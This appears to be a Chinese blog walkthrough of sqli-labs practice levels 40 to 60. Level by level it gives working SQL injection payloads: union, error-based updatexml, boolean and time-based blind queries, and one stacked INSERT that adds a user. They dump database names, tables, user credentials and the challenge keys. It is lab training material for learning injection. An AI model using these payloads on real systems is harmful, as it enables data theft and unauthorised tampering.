sqli-labs靶场通关攻略——(41-60)

目录

目录

目录

第四十关

第四十一关

第四十二关

第四十三关

第四十四关

第四十五关

第四十六关

第四十七关

第四十八关 

第四十九关

第五十关

第五十一关

第五十二关

第五十三关

第五十四关

第五十五关

第五十六关

第五十七关

 第五十八关

第五十九关

第六十关


第四十关

判断闭合方式

闭合方式为‘)--+

2.联合注入,爆库

?id=-1') union select 1,database(),user() --+

3.联合注入,爆表

?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

 4.联合注入,爆列

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

 5.联合注入,爆数据

?id=-1') union select 1,group_concat(id,username,password),3 from users --+

第四十一关

1.判断闭合方式

 闭合方式为整数型

2.联合注入,爆库

?id=-1 union select 1,database(),3--+

3.联合注入,爆表

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

 4.联合注入,爆列

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

第四十二关

 判断闭合方式为’

报错注入查库名

login_user=1&login_password=1000'or updatexml(1,concat(1,database()),3)--+&mysubmit=Login

 报错注入查表名

login_user=1&login_password=1000'or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)--+&mysubmit=Login

抓包,使用堆叠注入输入新的用户名(没啥用)

login_user=1&login_password=1';insert into users(id,username,password) values ('30','www','wawa')--+&mysubmit=Login

注入成功

第四十三关

  判断闭合方式为’)--+

报错注入,爆库

 login_user=a&login_password=1000') and updatexml(1,concat(1,database()),3)--+&mysubmit=Login

 报错注入,爆表

login_user=a&login_password=1000') and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),3)--+&mysubmit=Login

第四十四关

抓包,查库和上一关流程差不多,只是此关采用布尔盲注

login_user=1&login_password=1000' or (ascii(substr(database() ,1,1)))=115--+&mysubmit=Login

查得第一个字符为s,其余字符分别为ecurity

 布尔盲注,查第四张表

login_user=1&login_password=1000' or  ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))>100--+&mysubmit=Login

第四十五关

闭合方式为’),具体操作流程和四十四关一样。 

login_user=1&login_password=1000') or (ascii(substr(database() ,1,1)))=115--+&mysubmit=Login

第四十六关

使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by

sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用updatexml进行报错

查库

?sort=1 and updatexml(1,concat(1,database()),1)--+

查表

?sort=1 and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1)--+

查列

?sort=1 and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),1)--+

第四十七关

该关闭合方式为'--+闭合

报错注入查库

?sort=1' and updatexml(1,concat(1,database()),3)--+

报错注入查表

?sort=1' and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),3)--+

 报错注入查列

?sort=1' and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),3)--+

第四十八关 

该关闭合方法和47关一样,只是没有报错,需要使用时间盲注

时间盲注查库

 ?sort=1 and if((ascii(substr(database(),1,1))=100),sleep(3),0) --+

查得第一个字母的ascii的值为115,字母s,其他几位分别是ecurity

 时间盲注查第四张表

?sort=1 and if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'limit 3,1),1,1))=117),sleep(3),0) --+

 第一位为u,剩余几位为sers

第四十九关

第四十九关也是时间盲注,闭合方式为’--+

时间盲注查库

?sort=1' and if((ascii(substr(database(),1,1))=100),sleep(3),0) --+

查得第一个字母的ascii的值为115,字母s,其他几位分别是ecurity

时间盲注查第四张表

?sort=1' and if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'limit 3,1),1,1))=117),sleep(3),0) --+

 第一位为u,剩余几位为sers 

第五十关

该关闭合方式为--+,可以使用报错注入

 报错注入查库

?sort=1 and updatexml(1,concat(1,database()),3) --+

爆错注入查表

?sort=1 and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),3) --+

第五十一关

闭合方式为'--+

查库

?sort=1 ' and updatexml(1,concat(1,database()),1) --+

查表

 ?sort=1 ' and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1) --+

 查列

 ?sort=1 ' and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),1) --+

 查数据

?sort=1 ' and updatexml(1,concat(1,(select group_concat(id,username,password)from users)),1) --+

第五十二关

参数为整形,没有报错显示,此处使用堆叠注入或时间盲注

时间盲注查库

库名第一位 

?sort=1 and if((ascii(substr(database(),1,1))=115),sleep(1),0) --+

 第二位

?sort=1 and if((ascii(substr(database(),2,1))=101),sleep(1),0) --+ 

 其余几位都是curity

查询第四张表

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0) --+

 第一位ascii码是117,字母u,剩下几位字母分别是sers

第五十三关

该参数是字符型,单引号闭合,没有报错显示,可以使用堆叠注入或者时间盲注

时间盲注,查库

第一位

?sort=1‘ and if((ascii(substr(database(),1,1))=115),sleep(1),0) --+

第二位

?sort=1' and if((ascii(substr(database(),2,1))=101),sleep(1),0)--+

 第一位是s,第二位是e, 其余几位都是curity

查询第四张表

?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0) --+

  第一位ascii码是117,字母u,剩下几位字母分别是sers

第五十四关

五十四关翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合就行

联合注入查库名

?id=-1' union select 1,database(),3--+

联合注入查表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+

 联合注入查列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='5iayl7jks0'--+

 列名为id,sessid,secret_MLYE,tryy

key藏在secret_MLYE中

 联合注入查数据,获取k的值

?id=-1' union select 1,group_concat(secret_MLYE),3 from 5iayl7jks0--+

输入key的值

 完成

第五十五关

五十五关是有14次机会,id参数是加了括号的整数

 联合注入查库名

?id=-1) union select 1,database(),3--+

库名为challenges 

联合注入查表

?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+

 表名为:w05egeiufr

 联合注入查列

?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='w05egeiufr'--+

 列名为id,sessid,secret_XCRT,tryy

key藏在 secret_XCRT

联合注入查secret_XCRT列的数据

 ?id=-1) union select 1,group_concat(secret_XCRT),3 from w05egeiufr--+

 查到key输入输入框中

第五十六关

闭合方式为‘)--+和五十五关一样

联合注入查库

?id=-1') union select 1,database(),3 --+

联合注入查表

-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+

联合注入查列

 -1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='hj8sst1lnf'--+

 联合注入查key

-1') union select 1,group_concat(secret_I1GW),3 from hj8sst1lnf--+

 

第五十七关

十四机会,闭合方式为双引号闭合

联合注入查库

?id=-1" union select 1,database(),3 --+

 联合注入查表

?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+

联合注入查列

?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='smdhz1ans1'--+

联合注入查列

 ?id=-1" union select 1,group_concat(secret_QJLI),3 from smdhz1ans1--+

 

 第五十八关

五十八关和前面几关不一样,因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示,所以可以使用报错注入。

报错注入查库

?id=1' and updatexml(1,concat(1,database()),1)--+

报错注入查表

?id=1' and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='challenges')),1)--+

 报错注入查列

?id=1' and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='challenges' and table_name='taflmq8lit')),1)--+

报错注入查数据

 ?id=1' and updatexml(1,concat(1,(select group_concat(secret_ZWC8)from taflmq8lit)),1)--+

 

第五十九关

五十九关和五十八关一样使用报错注入,id是整数型。

报错注入查库

?id=1 and updatexml(1,concat(1,database()),1)--+

报错注入查表

?id=1 and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='challenges')),1)--+

 报错注入查列

?id=1 and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='challenges' and table_name='y2wdeniqzt')),1)--+

 报错注入查key

?id=1 and updatexml(1,concat(1,(select group_concat(secret_1KM4)from y2wdeniqzt)),1)--+

第六十关

六十关闭合方式是双引号加括号。

报错注入查库

?id=1") and updatexml(1,concat(1,database()),1)--+

 报错注入查表

1") and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='challenges')),1)--+

联合注入查列

1") and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='challenges' and table_name='k2gyz5zpl3')),1)--+

联合注入查库

?id=1") and updatexml(1,concat(1,(select group_concat(secret_84J0)from k2gyz5zpl3)),1)--+

 

第六十一关

六十二关没有报错显示,可以使用布尔盲注和时间盲注。id参数是单引号加括号

布尔盲注查表名

?id=1') and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=103--+

查得第一个ascii为103,字母g

 查得第二个ascii为110,字母n

 查得第三个ascii为99,字母c

 查得第四个ascii为100,字母d

查得第五个ascii为103,字母g

查得第六个ascii为101,字母e

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值